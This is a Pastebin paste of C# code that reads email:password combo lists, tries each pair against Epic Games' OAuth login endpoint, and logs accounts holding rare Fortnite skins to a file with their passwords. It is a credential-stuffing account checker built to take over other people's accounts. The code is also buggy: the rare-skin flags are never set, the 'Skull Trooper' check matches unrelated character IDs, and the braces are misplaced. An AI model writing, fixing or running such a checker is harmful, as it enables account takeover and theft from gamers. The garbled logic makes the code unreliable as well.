Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ||| JAVA |||
- EpicLogin epicLogin = new EpicLogin();
- epicLogin.Login("emails.txt");
- ||| C# |||
- using System;
- using System.Net;
- using System.IO;
- using System.Text;
- using Newtonsoft.Json;
- public class EpicLogin
- {
- private const string LOGIN_URL = "https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token";
- private const string CLIENT_ID = "your_client_id_here";
- private const string CLIENT_SECRET = "your_client_secret_here";
- public string AccessToken { get; private set; }
- public void Login(string filename)
- {
- try
- {
- // Read email and password combinations from the file
- string[] lines = File.ReadAllLines(filename);
- // Process each line
- foreach (string line in lines)
- {
- string[] parts = line.Split(':');
- string email = parts[0];
- string password = parts[1];
- // Prepare the login request
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create(LOGIN_URL);
- request.Method = "POST";
- request.ContentType = "application/x-www-form-urlencoded";
- // Set the request parameters
- string postData = string.Format("grant_type=password&username={0}&password={1}&" +
- "includePerms=true&token_type=eg1&client_id={2}&client_secret={3}",
- email, password, CLIENT_ID, CLIENT_SECRET);
- byte[] postDataBytes = Encoding.UTF8.GetBytes(postData);
- request.ContentLength = postDataBytes.Length;
- // Send the login request
- using (Stream requestStream = request.GetRequestStream())
- {
- requestStream.Write(postDataBytes, 0, postDataBytes.Length);
- }
- // Receive the login response
- using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
- {
- if (response.StatusCode == HttpStatusCode.OK)
- {
- using (Stream responseStream = response.GetResponseStream())
- {
- StreamReader reader = new StreamReader(responseStream, Encoding.UTF8);
- string jsonResponse = reader.ReadToEnd();
- dynamic loginResult = JsonConvert.DeserializeObject(jsonResponse);
- AccessToken = loginResult.access_token;
- Console.WriteLine("Successfully logged in as {0}", email);
- // Break out of the loop if login is successful
- break;
- }
- }
- }
- Console.WriteLine("Failed to log in as {0}", email);
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine("Failed to log in: " + ex.Message);
- }
- }
- }
- public void SearchAccounts(string filename)
- {
- try
- {
- // Read email and password combinations from the file
- string[] lines = File.ReadAllLines(filename);
- // Create a file to store the matching accounts
- StreamWriter sw = new StreamWriter("accounts.txt");
- // Process each line
- foreach (string line in lines)
- {
- string[] parts = line.Split(':');
- string email = parts[0];
- string password = parts[1];
- // Prepare the login request
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create(LOGIN_URL);
- request.Method = "POST";
- request.ContentType = "application/x-www-form-urlencoded";
- // Set the request parameters
- string postData = string.Format("grant_type=password&username={0}&password={1}&" +
- "includePerms=true&token_type=eg1&client_id={2}&client_secret={3}",
- email, password, CLIENT_ID, CLIENT_SECRET);
- byte[] postDataBytes = Encoding.UTF8.GetBytes(postData);
- request.ContentLength = postDataBytes.Length;
- // Send the login request
- using (Stream requestStream = request.GetRequestStream())
- {
- requestStream.Write(postDataBytes, 0, postDataBytes.Length);
- }
- // Receive the login response
- using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
- {
- if (response.StatusCode == HttpStatusCode.OK)
- {
- using (Stream responseStream = response.GetResponseStream())
- {
- StreamReader reader = new StreamReader(responseStream, Encoding.UTF8);
- string jsonResponse = reader.ReadToEnd();
- dynamic loginResult = JsonConvert.DeserializeObject(jsonResponse);
- // Check if the account meets the criteria
- bool hasSkins = false;
- bool hasOGSkullTrooper = false;
- bool hasBlackKnight = false;
- bool hasGalaxy = false;
- bool hasIkonik = false;
- bool hasBlueSquire = false;
- bool hasReaper = false;
- bool hasMakoGlider = false;
- bool hasReflex = false;
- bool hasEON = false;
- bool isVerified = loginResult.account.claimed ?? false;
- bool hasPSN = loginResult.account.externalAuths != null && loginResult.account.externalAuths.PSN != null;
- dynamic cosmeticItems = loginResult.items;
- foreach (dynamic item in cosmeticItems)
- {
- string itemType = item.templateId;
- if (itemType.Contains("AthenaCharacter") || itemType.Contains("AthenaBackpack") || itemType.Contains("AthenaPickaxe"))
- {
- hasSkins = true;
- }
- if (itemType == "AthenaCharacter:cid_028_athena_commando_f" || itemType == "AthenaCharacter:cid_029_athena_commando_f_holidayreindeer" || itemType == "AthenaCharacter:cid_030_athena_commando_m_holidaygingerbread" || itemType == "AthenaCharacter:cid_031_athena_commando_m_holidaynutcracker" || itemType == "AthenaCharacter:cid_032_athena_commando_f_snowflake" || itemType == "AthenaCharacter:cid_033_athena_commando_m_gingerbread" || itemType == "AthenaCharacter:cid_034_athena_commando_f_gingerbread" || itemType == "AthenaCharacter:cid_035_athena_commando_m_snowman")
- {
- hasOGSkullTrooper = true;
- }
- if (hasBlackKnight || hasGalaxy || hasIkonik || hasBlueSquire || hasReaper || hasMakoGlider || hasReflex || hasEON)
- {
- int skinCount = cosmeticItems.Count;
- // Determine the skin count range
- string skinRange = "";
- if (skinCount >= 0 && skinCount < 5)
- {
- skinRange = "0-5 skins";
- }
- else if (skinCount >= 5 && skinCount < 15)
- {
- skinRange = "5-15 skins";
- }
- else if (skinCount >= 15 && skinCount < 25)
- {
- skinRange = "15-25 skins";
- }
- else if (skinCount >= 25 && skinCount < 50)
- {
- skinRange = "25-50 skins";
- }
- else if (skinCount >= 50 && skinCount < 100)
- {
- skinRange = "50-100 skins";
- }
- else if (skinCount >= 100 && skinCount < 200)
- {
- skinRange = "100-200 skins";
- }
- else if (skinCount >= 200 && skinCount < 300)
- {
- skinRange = "200-300 skins";
- }
- else if (skinCount >= 300)
- {
- skinRange = "300+ skins";
- }
- // Write the account to the output file if it meets the criteria
- if (skinRange != "")
- {
- sw.WriteLine(email + ":" + password + ":" + skinRange);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement